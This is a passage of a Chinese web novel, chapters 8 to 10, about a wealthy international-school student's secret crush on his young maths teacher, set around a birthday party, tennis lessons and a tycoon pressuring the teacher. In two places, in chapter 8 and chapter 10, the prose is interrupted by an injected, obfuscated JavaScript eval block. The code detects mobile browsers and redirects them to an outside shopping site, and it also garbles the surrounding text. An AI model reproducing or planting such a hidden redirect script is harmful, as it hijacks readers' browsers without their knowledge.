凌家长辈将十八岁的小公主引到台前,向众人简短但隆重的介绍,切了五层蛋糕塔,又客气的请大家吃好喝好,然后音乐响起,小公主将目光投向傅廷恩——得,气氛都到这了,傅廷恩认命的走出人群,很绅士的向公主微微弯腰行礼,左手背在身后,伸出右手,凌公主左手搭上他的手腕,右手一摆,裙摆飞扬,大厅里响起热烈的掌声。 二人在众人目光的包裹、音乐的引领下翩然起舞。男生绅士,女生优雅,不断引来艳羡的掌声。 傅太看着舞池翩翩的身影十分欢喜,儿子英挺的身姿尤其令她欣慰,嘴上只能夸别人家闺女:“倩倩真是越长越漂亮了。” 应对的是凌太:“你们家廷恩真是帅气,样貌比他哥哥还要耀眼,傅太真是好福气,生了一双好儿子。” 两个儿子打小是傅太的骄傲,谦逊的说“哪里,凌太过奖了”,嘴角都要咧到天上去。 两家孩子还小,但起码意向是有了,一时宾主尽欢。 傅廷恩等人群都滑入舞池,好不容易甩开凌倩的黏糊,赶紧拿一杯鸡尾酒一口灌下压压惊,这种场合事先不打招呼,他要穿个仔裤板鞋来还真是丢脸。 他哪里知道凌倩有事先跟他妈报备,她算是很了解他脾性,知道如果早说让他陪她跳开场舞,他一定不会答应。 “可不止开场舞。”她得意的瞄准傅廷恩背影,拉过她二哥,“哥你答应我的,可别忘了哦。” 凌二哥只好端着两杯白葡萄酒,循着傅廷恩的背影找过去,“廷恩,你舞跳得真不错,谢谢你陪我妹,不然她就要赖上我。来,哥敬你一杯。” 少年人哪有不爱听夸奖的,又是年纪比他大几岁的世家哥哥,必须给面子,自然干了。 等肖震找着人,傅廷恩已经脸颊微红,略有醉意了。“哎,你可别喝高了,凌倩喊了我们小一辈在附一楼玩真心话大冒险,小心她趁你醉占你便宜。” “放心吧,反正我不会玩大冒险,”傅廷恩自认清醒,“你表白了没有?” “没,我觉着有点悬。”肖震对袁立雅平时的表现还是有点数的,台湾妹虽然对谁都嗲嗲的很温柔,但只要有傅廷恩在场合,目光基本追着他跑。不过少年人无所谓,大不了就是被拒呗,不试试总不甘心。 “等会玩游戏找机会吧,这么多大人在也不合适。”肖震拖着他往地下一层跑,“你得帮我见证一下,这可是我第一次表白。” 果然恒雅的同学圈基本都聚集到地下的KTV室来了,换了DJ舞曲,冰桶里冰着几只香槟。楼上的蛋糕塔切完也推到了这里,反正没人吃,待会少不得拿它打架结尾。 江家也派了代表,江四江五,他们这辈是“永”字辈,江永康,江永安。不管私底下是不是使绊子,几个世家面子上都过得去。 “廷恩,震震,你们快来这边,”袁立雅招呼他们,“快来玩真心话大冒险,人多才好玩呀。”她私心想拉傅廷恩坐她旁边,结果被凌倩捷足先登,只好生气的跺跺脚,拉肖震坐一起。 “先说好!真心话不可以问具体人名具体日期!”这种玩腻了的游戏,傅廷恩太熟悉套路了,先设置安全保障。 8. 第 8 章 我真傻真的!我单知道自己不选大冒险,真心话不能问具体,不知道别人可以玩大冒险呀,我真傻真的!傅廷恩看着凌倩凑过来的红唇,内心暗骂自己是个大傻逼。 Shit!反正初吻不能交待在这里!他一个劲往后躲,脸涨得通红,起哄的几个同学按着肩膀把他往前推,实在躲不过,他把右边脸伸过去,“啵”一声脆响,凌倩在他脸颊上印了一个完整的唇形,跟盖了个戳似的。 她几个闺蜜还在那里拍桌子起哄:“不算!不算!Mouth to mouth!Mouth to mouth!……” 肖震这怂逼趁着乱作一团,小声跟袁立雅告白:“立雅,我喜欢你,做我女朋友好吗?” 原本的设想是大庭广众之下告白,就算立雅没答应也要抢凌倩的风头,而且当着大家的面,立雅说不准就答应了,她一向善解人意从不给人难堪…… 事到临头却还是不敢,袁立雅正两只小拳头抓得紧紧,看凌倩的闺蜜团跟傅廷恩拉扯,转头眼睛瞪得大大的,“你说什么?我没有听清哎……” “你能做我女朋友吗?”肖震在她耳边小声说。 傅廷恩脸上虽然挂着笑,态度却是无比坚决,“别闹了,下一轮下一轮……” 闺蜜团对他的推拒十分不满加意外,没想到他这么不给面子,场面有片刻的安静,然后就听到袁立雅超大声的回答:“啊?可是我喜欢廷恩哎。” 场面从安静变得鸦雀无声。凌倩跳起来,“台巴子你要跟我抢……” “停!”傅廷恩深吸口气,“感谢美女们的厚爱,但是,”他走过去揽住垂头丧气的肖震,“不好意思,我喜欢男生。” 石破天惊,什么!场面简直称得上混乱,连事不关己躲一边吃蛋糕的江永安都被惊得蛋糕掉地上,傅廷恩喜欢男生……众人的目光在傅廷恩和肖震之间反复流连,这,这不可能吧?! 楼上酒会已经散场,父母一辈已先行离去,在家里玩出不了什么乱子,又是周末让孩子们闹晚点也没什么。傅家留了一台车等傅廷恩,肖震跟着挤上去,等门一关:“兄弟,我谢你啊,为了哥们把名声都毁了,铁!这是真铁!兄弟,以后咱俩就是过命的交情了……” “别介,”傅廷恩笑着搂住他肩膀,“我是说真的。” “啊?”如果不是车上空间有限,肖震估计已经一蹦三尺远,他忽闪着眯眯眼,满脸写着你别过来,把傅廷恩乐得哈哈大笑,拍打着真皮座椅,“哎,不行了,我不行了,我得把你这怂样录下来,手机呢?哎,我手机呢?” 他满车子找手机,快下车才发现掉门缝里头了,肖震还追着他跑下车,“兄弟,别走,哎,你说清楚啊……” 傅廷恩洗完澡躺床上,想起肖震那一脸吃了翔的表情,还乐得在床上打了个滚。 又回想起凌倩那凑过来的红唇,哎,那么厚的口红,脸上那印子洗面奶洗两遍才洗干净,真要亲个嘴不得吃一肚子口红……哎,恶心,寒毛都竖起来!好险,差点贞节不保…… 如果真的要亲吻的话,脑海里浮现一张唇形,上唇略薄下唇丰润,自然的粉色,一张一合间露出洁白的牙齿,即使凑近也依然清新的口气……他拉过被子一把蒙住头。 原本以为生日party上的插曲就这么过去了,结果这天放学刚到家,他爸他妈难得齐聚客厅,茶几上竖起平板,他哥傅廷昀睡眼惺忪的跟他打招呼:“你总算回来了,廷恩,爸妈可两天都没睡好了,咱家得开个家庭会议,关于你性取向这事……” “咳咳,“傅明章打断大儿子高见,”这事坚决不允许,咱家没这基因,我已经让你丁叔去做亲子鉴定!” 亲子鉴定也太夸张了吧?“爸,用不着吧?我跟你长这么像!哦,不对,我是继承了我妈的如花美貌。”他甩下书包,凑到他妈跟前吧唧一口。 他妈难得不吃他这一套,扯他沙发上坐下,“一天天的没个正形,坐下,说正事!你快说说,”她皱起眉头,“倩丫头打电话跟我哭诉那事,到底真的假的?我就说你怎么一天到晚跟肖家那小子混一块……” “哎呀!你们真是想多了,”傅廷恩往沙发上一滚,跟他哥大眼瞪小眼,“我那不是被凌倩烦的嘛!她一天到晚追着我跑,还在学校里造谣说我们两家订了娃娃亲……” 傅太心虚的瞟一眼她老公,怀廷恩的时候她跟凌太是开玩笑来着…… 傅明章闻言松了口气,廷恩这孩子,打小实诚,从不说谎,“确实早了点,女大不中留,女孩子懂事早。廷恩,你将心思放在学习上是对的,将来还要做一番事业,不光我们这房,咱们傅家都指着你们哥俩,你大伯二伯家那几个孩子像什么样子,小小年纪就追女明星屁股后面跑,时不时就闹点花边新闻……” 傅爸开始长篇大论,末了,还不忘记敲打一番,“你们两个听好,老爷子可早就说了,在外头乱七八糟胡天胡地的将来家产都没份,信托也不准领,赶出家门街头讨饭去!” 傅廷昀都听得打瞌睡,十几年了也不改改词,他打了个哈欠,“要不,英国还是别去算了?申土澳来得了……”傅廷恩摁一下把平板关了。 ———————————————————————————— 傅廷恩只要有空就刷曾闰成给他划定的数学题,他尽可能多刷题,积攒下不会做的,这样周末就有理由去请教。 每次转进铺着青石板的小巷子,心情就会莫名的兴奋起来,等站到那栋老旧的居民楼下,掏出手机打电话,仰头看曾闰成推开阳台窗户喊他上去,内心就又平静下来。 “每次都到楼下才打电话,看下次我有事不在你怎么办。”其实曾闰成周末很少出门,小学中学同学几乎没有考到金城来的,说他是山窝窝里飞出来的金凤凰也不为过。 大学研究生同学偶有邀约,他也很少去,大学四年研究生两年几乎没有过呼朋唤友轮流请客的经历。陪伴他的除了各种兼职,只有书本,偶尔觉得孤单,有时候也觉得挺好。 “如果你不在,我就等你。”傅廷恩笑嘻嘻的,冒着十八岁的傻气。 曾闰成忍不住伸手揉揉他厚实微卷的黑发,他很喜欢这个课堂上无比认真的孩子,他讲的每个知识点都会认真倾听,提的每个问题不管点不点他分享都会在台下应和,你能清楚的知道他的思路是在跟着你走的,没有老师不喜欢这样的学生。“私校这点好,不像我们当初读公立高中,一律要求剪囚头。” “真,真的吗?”头顶传来的温热触感让傅廷恩心如鹿撞,耳朵尖也悄悄变红。他想象了一下曾老师剪囚头的样子,“应该还是很帅吧?” “没有你帅,反正我高中三年一封情书都没有收到过。”他揶揄傅廷恩,有时候下课铃响了,他还在讲台上收拾教具,都有女生跑进来给傅廷恩递情书。 国际学校的学生,为了培养他们的语言环境,大部分都在国外呆过不短的时间,这方面很容易学洋派。 傅廷恩脸红,“我又不喜欢她们。” 曾闰成点点头,“不谈恋爱是对的,你还太小,先专心考试,然后是雅思,等拿到牛津的offer,再去大学里谈恋爱吧。来,习题本打开,我检查一下你上次刷的题。” 他翻开本子,大段大段的论证写得工工整整,坐标图都画得标准美观,心里就觉得熨帖。声音愈发的柔和,落在傅廷恩耳朵里像钢琴曲一样好听。 有时候时间到了中午,曾老师会留他吃饭。他不吃辣,只会做很简单很清淡的菜式,却出奇的美味。他打开小冰箱看了看,“今天只有番茄和鸡蛋了,番茄鸡蛋面吃吗?” “好,我要一大碗。”傅廷恩也从不忸怩。 “你把这几道题做完,我去下面条。” 傅廷恩嘴里答应着,目光却忍不住追随他转动,看他把番茄洗净,划刀口,烫皮,切葱花,把鸡蛋磕到碗里……他掏出手机,关掉声音,偷偷拍一张,定格这个美好的瞬间。 曾闰成端着两碗面条过来,瞅一眼空白的习题本,“咦,偷懒了啊?”却也不会责备,“累了吧?先吃东西,换换脑子。” “嗯,我下午去打网球,”傅廷恩将文具都收进书袋里,“老师,你会打网球吗?” “不会,只会打羽毛球。”其实羽毛球打得也不多。除了跑步这项对技巧和装备要求都不算高的运动项目,他几乎不会别的。 “我教你好不好?”傅廷恩眼眸亮起来,“学校有场地,我有好几个不错的拍子,送你两个。” 曾闰成犹豫一下,“不了,你专心备考……” 傅廷恩跳起来,“还早着哩,我又不可能一天到晚刷题、学习要劳逸结合嘛,下午就去打网球怎么样?周末人少。” 恒雅的网球馆分两层,一层室内,二层室外,他扑到窗边看看天气,“今天还可以,我们去室外打,怎么样?”他挑眉看他,“Jasper,你是不是不相信我的水平?我可是NTRP4.5的等级,绝对可以教你。”一脸急于显摆的表情。 曾闰成其实对运动也是很有兴趣的,以往只是没有时间和机会罢了,恒雅作为金城顶尖私校,各项运动设施场地都很齐全。 看孩子一脸兴奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅廷恩示范加陪练,从交叉侧滑步,到高抬腿,后抬腿,内外跨步开合,双臂开合……身体很快热起来,曾闰成平时有跑步的习惯,强度不算小的热身完成得轻轻松松。 平时授课要体现老师的威严,大都穿衬衫西裤皮鞋,还特意戴个平光眼镜,增加成熟度。今天换了宽松运动装穿跑鞋,不戴眼镜,看上去特别显小,傅廷恩要稍微克制,才能让目光不在他红润的面庞渗汗的肩颈处流连。 他轻咳一声开始讲解握拍技巧和准备姿势,等曾闰成掌握了,再开始练习原地正手击球,他先示范一遍, “右脚蹬地,转髋,转肩击球,发力的顺序要由下向上,重心要从后向前移动……”一个简单的挥拍动作,就让学员感受到了教练潇洒的风姿。 “真不能叫你小屁孩了。”他好像第一次发觉眼前的男生的确比他小不了几岁。 傅教练愈发得意,在一旁丢一个球示意曾老师挥拍,“我们先把原地练好,再练移动击球。对,拍面要保持稳定,击球点在身体的右前方,拍子随挥到肩上,很好!”曾闰成本身就肩宽腿长,随意动作也是赏心悦目。 偌大的网球场,不时传来,“……好,交叉步回位……很好,转身,脚踩过去,好,朝前送拍,眼睛盯上球……侧滑回位……侧身引拍……漂亮!” 掌握基本动作要领后,虽然是发球机发球,傅廷恩也在一旁引导步伐,纠正姿势,两个小时下来,两个人都累得够呛,瘫坐在地上气喘吁吁。 “我还以为随便打打,没想到教练这么认真,”曾闰成接过傅廷恩递过来的毛巾擦汗,“你光教我了,自己都没有练习。” 傅廷恩当然不会说本来约了社团的人,然后临时发信息叫人家不要过来,代价是一个签名球拍。 “以后你教我数学,我教你网球怎么样?”傅廷恩掏出手机给曾闰成看他在国外参加比赛的视频,明明出了汗,又离得那么近,他的身上却没有一丝异味。 傅廷恩拿着手机递到他面前,两个人的肩膀微微靠在一起,他不断的轻咳,用以掩饰越来越剧烈的心跳。 好在曾闰成没有发觉,他被视频里少年潇洒又不失优雅的身姿吸引,“难怪网球被称为贵族运动,这步伐、动线确实流畅好看。”一节私教课下来,他对这项运动燃起了兴趣。 傅廷恩尾巴都要翘到天上去,“那就这么说定了啊,我一定把你教到3.0以上的水平。” “可是我教你数学是应该的……” 傅廷恩起身,伸出手去拉他,“Jasper,我们是朋友吧?” “当然。”曾闰成借力站起来,两个人把散落的网球捡回球箱,一块往楼下走,背影都洋溢着青春与欢喜…… “Jasper,你当初为什么会选数学专业啊?” “因为,兄弟和女朋友都有可能会背叛你,数学不会。” “为什么?” “不会就是不会。” “啊……哈哈哈哈哈……” 9. 第 9 章 金城从秋到冬的跨度非常短,好像一夜之间就冷了起来,校区开始供暖。曾闰成裹着派克服攥着最近一次成绩检测单,穿过寒风飕飕的庭院,送到主楼的行政组。 正跟年级组长交接着报表,吴副校长推门进来,递给他一个文件袋,“小曾啊,这是咱们学校年底的汇算预案,你是李董的亲戚,帮忙送一下吧?” “李董?”他有点茫然。 “君临的李总是我们学校董事,也是股东之一,你不知道?”吴校长镜片后的目光闪烁着不信,“上次校董会他还提出来,你老家有个妹妹,无人照顾,要特事特办招到我们学校来,免除一切费用作为优秀教师的福利之一。” 曾闰成大吃一惊,立刻推拒,“不用,我们可以读旁边公立的三中。”过完年,他计划租个两居室,把婆婆和小霞接过来。 金城的教育资源跟老家乡下中学不啻天壤之别,小霞已经读初一,耽误不得。但他有金城户籍,小霞可以读公立。 “三中那是什么学习氛围?都是周边一些破落户子女……”年级组长插嘴,恒雅占地这么广,当然不可能在市中心,周边聚集着不少拆迁户和原郊区住民。 但是曾闰成有自己的考虑,“谢谢学校领导的好意,但确实不用了。” 吴校长一副不理解的表情,“那你自己跟李董去说一声吧,昨天我给苏秘书打电话说送汇算预案,她说让你带过去就好。”将文件袋塞到他手上,转身就走了。 第二天是周末,曾闰成先给傅廷恩打了个电话,“我今天有事,不能给你补习了。” 傅廷恩按起驾驶室和后座之间的升降板,看一眼手里温着鸡汤的保温桶,阿姨用砂锅熬了一晚上,香浓非常,他想带给他尝尝,“哦。” “你没有出门吧?”傅廷恩一般不会这么早。 “没有。”他犹豫一下,小声问:“那,你要去哪里?”他觉得有点冒犯,却又忍不住好奇心,几个月来,这是曾闰成第一次说周末有事。 “吴校长让我去君临送一份文件。” 君临?李景麟?傅廷恩脑海里闪过那辆豪车,他六叔的评语顺带飘过。 “哦,好。”挂了电话,他敲敲背板,“去君临大厦。” 车送他到马路对面,“王叔,你回去吧,我约了同学。”打发走司机,他把蒙口的大帽子戴上,拉链拉到眼睛下面,做贼一样的闪到那排雪松后面,不安的四处张望,会不会已经上去了?如果有车接就会比他快,那他就等他下来。如果他走附一楼怎么办?那就碰不到了。 脑海里各种念头纷至沓来,他却固执的不肯走,北方的冬天室外还是挺冷,他跺着脚哈着气绕着那排松树转来转去。 一个小时后,终于瞥见那抹熟悉的身影从地铁口出来,他仍旧穿着那件有四个大口袋的深灰色派克服,露出领口的一圈白色毛衣。他好像不习惯背包,就臂弯里夹着文件袋,步履匆匆的进了君临的大门。 傅廷恩松了口气,却又忍不住看起了手表。 ———————————————————————— 曾闰成在前台给苏秘书打电话,步履干练的职场丽人匆匆而来,“怎么不提前说,让司机去接你,这么冷的天。” 那不如干脆让司机把文件接走。曾闰成暗叹口气,不过小霞的事情,他确实也打算当面跟李景麟说一声。一次说清楚。 “李总现在方便吗?”苏秘书引他进了直达顶楼的专属电梯,笑吟吟的按下门键,“方便。”她嘴角挂着笑,“你什么时候来都是方便的。” 她的眼睛看着电梯门板,平滑如镜的玻璃钢板倒映出青年修长的身影。确实是不输明星的身段和气质。尤其是眼神里那种清冽纯净格外少见。 曾闰成忍不住蹙眉,这答话里含着的那一丝暧昧简直不容忽视,脑海里又浮现出姚子琪质问的面孔,“闰成,你说,这是为什么呢?”确实是应该来一趟了。 高跟鞋踩在长绒地毯上寂静无声,苏秘书在胡桃木门上轻叩两声,便直接推开门,“请进。”待他双脚踏入,旋即合上门,不见了身影。 李景麟的办公室他四年前来过一次,装饰有变化,不变的是富贵逼人。 大转椅深处传来低声笑语,高大的身影转过身来,膝上却还坐了一个人。听到动静也没有抬头,旁若无人的跟他调笑,“……真让我走?明儿剧组可就开工了,至少三个月……” 李景麟低低的说了一句什么,那身影站起来,面容映入眼帘,曾闰成脑海里闪过地铁站灯牌立柱上铺天盖地的海报里,男人俊美无俦的面孔。 “闰成,你来了。”李景麟起身走向沙发,“过来坐。” 曾闰成移步,那男人却径直向前,有意无意的挡住了他的去路,眼睛在他面庞微一流转,看似懒散的眼神里流露出一点不屑一顾的轻视。 “咳。”李景麟在身后轻咳一声,男人错开步伐,头也不回的走了。 “李总,打扰了。”他在沙发上坐下。 “怎么会,消遣而已。”关门的声音“嘭”的一声重重传来。 李景麟示意他不用理会,他把文件袋放在茶几上,“吴校长让我给您把这份文件送来,还有……” “叫我景麟,我只比你大十岁而已,你看我眼神总像看隔辈人。” 他起一饼新茶,茶则扫叶入茶荷,“来,尝尝这款福鼎的老白茶,这么热怎么不把外套脱了?”宽大的房间里暖气十足。 “您别忙了,我就要走。”他摆摆手,“我妹妹的事您费心了,不过……”话语里推拒的意味十分明显。 “这不还没费上心么?”李景麟打断他,漫不经心的将茶叶投入紫砂壶,“闰成,还为了子琪的事上火哪?真没必要。” 他语重心长似的,手指摩挲着壶把,眼神轻漫,“很一般,我替你尝过了,真的很一般。” 他话音落下,曾闰成“腾”的起身,转身往门口走去。 “闰成,你在害怕?放心,我李景麟从不强人所难。”他不疾不徐的往壶中注入沸水,“闰成,你外婆已经七十高龄了吧?”这句话成功的止住了离去的步伐。 “老人家辛苦一辈子,还能享受几年呢?就算妹妹在哪里读书无所谓……”他话未言尽,只低头烹茶。 片刻之后,曾闰成转身,回到沙发前坐下,胸膛还微微起伏着,面上的神情却已趋于平静,李景麟抬起眼眸,目光在他温润的眉眼间梭巡,似笑非笑的微勾着嘴角,“老人家延年益寿安度余生,妹妹享受最好的教育去更广阔的天地……不过就在你的一念之间。不想试试么?” 他三指拈杯,递到他面前。 曾闰成接过茶杯,却未品茗,轻轻放回了茶桌,“李总,我很好奇,您也是用这套说辞打动姚子琪的吗?” 李景麟缓缓收起笑容,他容貌俊挺,但唇形偏薄,微眯着双眼,轻抿唇角的时候,看上去气势迫人。 但青年仍然脊背挺直的端坐在沙发上,目光径直看向他,“我能有今天得益于您的资助,可惜身无所长难有回报。但想来您行善积德,自有福报。我婆婆年纪大了,牙都掉光了,什么山珍海味也享受不了。我妹妹就是个乡野丫头,能不能去看更广阔的世界,我会尽力,也要靠她自己努力。您说您从不会强人所难,那我就放心了。” 他起身,“子琪曾经说我们是不同世界的人,其实她错了,我们是两条平行线。告辞了。” ————————————————————————— 离开君临,曾闰成漫步在街头,寒风凛冽吹起衣领帽檐上的绒毛,他木着一张脸,顺着君临街一直往前走。他沉浸在自己的思绪里,没有注意一直不远不近缀在他身后的人影。 傅廷恩犹豫着要不要上前去打招呼,假装偶遇他会信吗?不信的话他会不会觉得自己是 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“哎,”厨房里传来应答,一个头发半百的中年妇女端着一个碟子走出来,冲他露出一个朴实的笑容,用方言叽哩呼噜说了一连串,换了家居服的姚子琪走出来,“妈,我同学不是我们那地方的,他听不懂,你得说普通话。” “请……坐,”中年妇女示意他,“请……喝茶。”她普通话说得很别扭,却是十分殷勤的扯着曾闰成在沙发上坐下,又侧坐在沙发的一角,用善意的眼光细细的打量他。 姚子琪用方言说了几句,她就起身,冲曾闰成笑着点着头,去到房间里了。 曾闰成记忆中母亲的形象已经很模糊了,他是婆婆带大的。很少有人知道婆婆是他的外婆,堂屋的相框里有几张老照片,那个据说是他妈妈的女人是长得很漂亮的。 等他上了学,大概明白,他妈妈就是文学典籍里那种心比天高命比纸薄的女子,满怀期待的走出小山村,只带回来一个生父不详的孩子。 “你不来帮我这个忙的话,她总是催我带朋友回来。我又不能真的把同事往家里领。” 也许是因为穿着家居服,学校的工作也用不着浓妆艳抹,姚子琪原本艳丽的五官轮廓看上去柔和不少。 “谢谢你闰成,你总是肯帮我。”姚子琪将一碟水果推到他手边,“其实留校和私校的工作哪个前途更好,一目了然,导师也更器重你一点。你那么说只是不想我欠你人情。” 她低下头,“闰成,或许我是真的错过了你。” 曾闰成抿一口茶,扬起一个温和的笑脸,“过去的事情不要再想了。” 虽然这么多年都生活在象牙塔里,但曾闰成多少也了解一点,职场乃至整个社会大环境对女性都并不友好,他是真心觉得留校的工作更适合姚子琪,“你安心做好自己的工作,其他的事情不要太当真。” 姚子琪懂他的意思,“你是想说让我不要对李景麟太认真吧?闰成,你还不知道吧,我们已经结束了,这套房子就是分手费。” 她轻笑出声,“你可能一直把我当天真小女生,做着飞上枝头的美梦。其实真正天真的是你自己……” “子琪,你不用暗示我什么,”曾闰成两手握着杯子,似乎想要从温热的茶杯上汲取一点暖意似的,“在我这里,感情是没法置换的。” “感情?哪里需要那样的东西呢?”姚子琪轻笑出声,她的长发披散在肩头,“所以说你真是天真啊闰成。” 她环顾了一圈屋子里的摆设,分外满意的弯起嘴角,“其实我并不艳羡那种需要天生自带的豪宅,我没那个命。能够有这么一所房子,能把我妈接过来,让我们母女彻底摆脱我那个酗酒家暴成性的所谓父亲,我就很满足了。” 杯间缭绕的雾气模糊了她的眉眼,“所以我是真的感谢你,如果不是你的初恋女友,人家未必肯跟我换。” 10. 第 10 章 凌倩的生日party过后,傅廷恩收情书的概率不降反升,原本还只有女生,现在男生也来凑热闹。 他最近又拔高了一两厘米,184了。球服随意往身上一套,露出两条肌肉|感满满的手臂,裤子系到腰上,步伐移动间隐现挺翘的臀线,甩着两条大长腿,满脸阴郁的抱着个篮球从更衣室里出来,体育馆里的人都抬起头来看他,倒把他愣了一下,“都他妈有病啊?!”他恼怒的把球往地上一拍,他以为还是当场出柜那事闹的,浑然不知是自己男|色|诱人。 “哥们,哥们,消消气,”肖震把球拍过来,“来,走两步,这天可冷。”恒雅的体育馆中央空调、新风系统一应俱全,不过场馆高阔,效果一般,冬天还是有点凉飕飕的。 肖震认定傅廷恩当场出柜,一半是要断绝凌倩的纠缠,一半是为了缓解他被拒的尴尬,这么够义气的兄弟哪里找!一天到晚的跟在他屁股后面跑。 几个小伙子在篮球场上你追我抢的忙活了半天,都出了一身汗,球场上蒸腾起一股热气,傅廷恩跑到场边从一堆物品里翻出条白毛巾擦汗,旁边递过来一瓶运动饮料。 他抬头看,是个瘦瘦高高的男生,唇红齿白,看着有点眼熟,他摇摇头,翻出自己水杯“咕咚”两口,男生看他不接也没说什么,从场馆后门走出去了。 肖震跑过来, “这江五,叫啥,江、江永安?最近怎么哪哪都有他,食堂吃个饭也碰上,打个篮球也坐场边,一双眼睛尽围着你转,他不会真以为你喜欢男生吧?” 难怪眼熟,原来是江氏集团一份子,不过他好像没有参与过他那帮兄弟们跟他的混战,总是安安静静的站边上看。 “他脑子有病还差不多!”傅廷恩白眼都要翻上天,“哎,没意思,不打了!”才玩半场,肖震跟那几个打声招呼,跟着他往更衣室走。 “你这几天怎么了?谁惹你了?” 傅廷恩闷头不说话,那天晚上回家,梦里都是曾闰成和那个女生言笑晏晏的样子。 他从来没有想过,曾老师或许是有女朋友的?但是他几乎每个周末都去找他补习,好像也没有听到他有约会的安排。 不过曾老师一定也很受女生的欢迎,他那么帅又那么好,据说自从他执教,令人头疼的Funther math课都多了不少拥趸,下课常有别班的同学去请教问题,所以傅廷恩从来不在课间去找他,不能让曾老师太累,反正他有专属的周末时光。 沐浴间里就傅廷恩和肖震在洗澡,玻璃隔板上下透明,中间一截是磨砂的,肖震踮起脚看傅廷恩果体,“哇,到底是我哥,什么都比我大!” 傅廷恩拿花洒冲他,“变态吧你?!自己又不是没有,看个屁啊看!”比鸟也算男生奇怪的胜负欲之一吧。 “哥你说,我要是把立雅睡了,我跟她这事是不是就算敲定了?” 他对袁立雅还不死心,主要是在傅廷恩明确的拒绝外加凶过她两次后,台湾妹终于发现了肖震的好,目前二人处于友达上恋未满状态。 “睡你个头啊睡!一天到晚尽想这些几把吊事!”傅廷恩这两天跟吃了枪药一样,说啥都要呛两句,肖震脾气好,从不跟他计较。 “难道你就没想过这事?听说外国女生都很open,哥你不会早就……哈哈哈哈哈……” 傅廷恩把莲蓬头调到加压举过隔板冲着他一顿乱喷,肖震又跳又笑的闹腾。 想过吗?其实是想过的吧……租屋里头的那张小方桌有点矮,两个人相对坐着,总不可避免的有一些肢体的碰触,每一次不经意的链接,都能令傅廷恩心头泛起难言的战栗。 晚上躺被窝里总忍不住回想……然后就是上厕所、洗手等一系列流程。更深的他不敢想,总觉得那是一种……亵渎。 “哎,那个江永安听说成绩很好,回回测试都是A。听说他拿到了剑桥的预定offer。” “管别人那么多干嘛,你用点心思在学习上吧,不说牛剑,巴斯商科,要不华威商学院总要申一个吧?” “那必须的!我肯定要继续跟我兄弟去英国混啊,要是立雅也申英国就好了……” ————————————————————————— 傅廷恩一直忍到周末,才抱着新买的球拍球鞋,去找曾闰成。“我那个拍子不适合新手,太重了,你用这个。” 他另外选了一款新手网球拍,底线没有那么硬。又将鞋盒打开,是白色的昂跑V7,这款设计得很有型,他买了五双一模一样的。 “鞋你留着自己穿,拍子我付钱给你。”曾闰成不肯收。 “我脚比你大一码。”傅廷恩找理由,“打网球是一定要穿网球鞋的,穿运动鞋容易崴到脚。”他私心里想和他穿一模一样的鞋子。 曾闰成倒不至于一双网球鞋都买不起,他只是习惯了简单,总是两三套衣服鞋子轮换着穿。 多亏他有披个麻袋都好看的身段和气质,在个个眼睛都很毒的恒雅,也没有传出什么寒酸的传闻。 “那我一起付钱……” “不要,我妈说你不肯收补习费,让我一定送给你。”他把挡箭牌搬出来,实际傅太压根不知道。 “那你教我打网球怎么算?”经过傅廷恩的一对一私教训练,曾闰成的网球技术进步很快,勉强2.0水平,可以跟傅廷恩对打,照着喂球的话,接到球的几率比较高了。 “这样吧,明年雅思考完我过生日,老师写副字送我好不好?”傅廷恩在出租屋里看见过曾闰成的书法作品,可圈可点,一看就知道至少有十数年的功底。 曾闰成想了一下,“好吧,我可以送一份礼物给你,但送什么由我定。”生日再加上名校offer,他觉得不能用一副毛笔字打发他的爱徒。 两人协商议定,傅廷恩假装不经意的提起,“……肖震说看到曾老师上了一个美女的车,是曾老师的女朋友吧?”好兄弟是各种挡箭牌的别称。 “瞎说,读研的同学。”这都能被学生撞见,曾老师也是无语了。 “那曾老师有女朋友吗?”傅廷恩低头在给拍子缠手胶,耳朵却竖起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422340|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我有没有女朋友你还不清楚吗?!”这个爱徒每周都要来报道一次,上午补习,中午吃饭,下午一块打网球。 “我哪里来的时间交女朋友。”恒雅其实也有女老师向曾闰成表达过好感,不过基本在初次盘查环节之后就没了下文,恒雅的老师基本家庭背景都不错,现在女性觉醒意识高,很少有扶贫的打算。帅气毕竟不能当饭吃。 傅廷恩听了这回答,眉梢眼角都亮了起来,多亏曾闰成没有看他,不然多少会觉察点不对出来。 “中午的牛排我来煎吧,我在英国的时候经常自己做。”他每周都来蹭饭,经常会从家里带些菜过来,开始拿些海参鲍鱼之类,要么不会做要么工序繁琐,后来就带各种肉制半成品。 上好的惠灵顿小牛排,用黄油小火煎得两面微焦,中间却很肥嫩,酱汁浇上,满屋飘香。两人大快朵颐,深感食物之美好。 曾闰成看着桌对面的傅廷恩,十八岁大男孩有着五官英挺的俊帅面庞,运动起来矫健潇洒的身姿,更难得是好学又上进,还会做饭,家世又好,忍不住夸他,“廷恩真的是百分男生,将来你的女朋友一定很幸福。”他只有课堂上叫他Barry,平时都叫他廷恩。 被暗恋的人夸赞那种雀跃的心情真的只有经历过的人才能懂,傅廷恩头脑发昏的不知道该说什么,脸涨得通红,低下头傻笑。 “夸你还不好意思了,脸红什么。”曾闰成笑着伸手揉揉他的头发,觉得这个大男孩真的是可爱极了。 下午照旧打网球,先用发球机练习一下移动击球,傅廷恩在一旁调整姿势,看到曾闰成鞋带散了,想也不想的走过去,“老师别动。” 他蹲下身子,帮他系好鞋带。曾闰成愣了一下,看着他微黑的发顶,心里闪过一丝异样的感觉。 但傅廷恩站起来是一脸自然,“新鞋的带子总是这样,小心别摔跤。”曾闰成心里那点怪异的感觉也就消散了。 打到尽兴,天已黑,傅廷恩陪曾闰成走到巷子口,再转身回到校门口等司机来接。他运动套外面裹件羽绒服,天冷,都是擦擦汗等回家再洗澡。 他低头玩着手机,一个亮着的手机伸到他眼皮底下,界面上是一个二维码。“加个微信吧。” 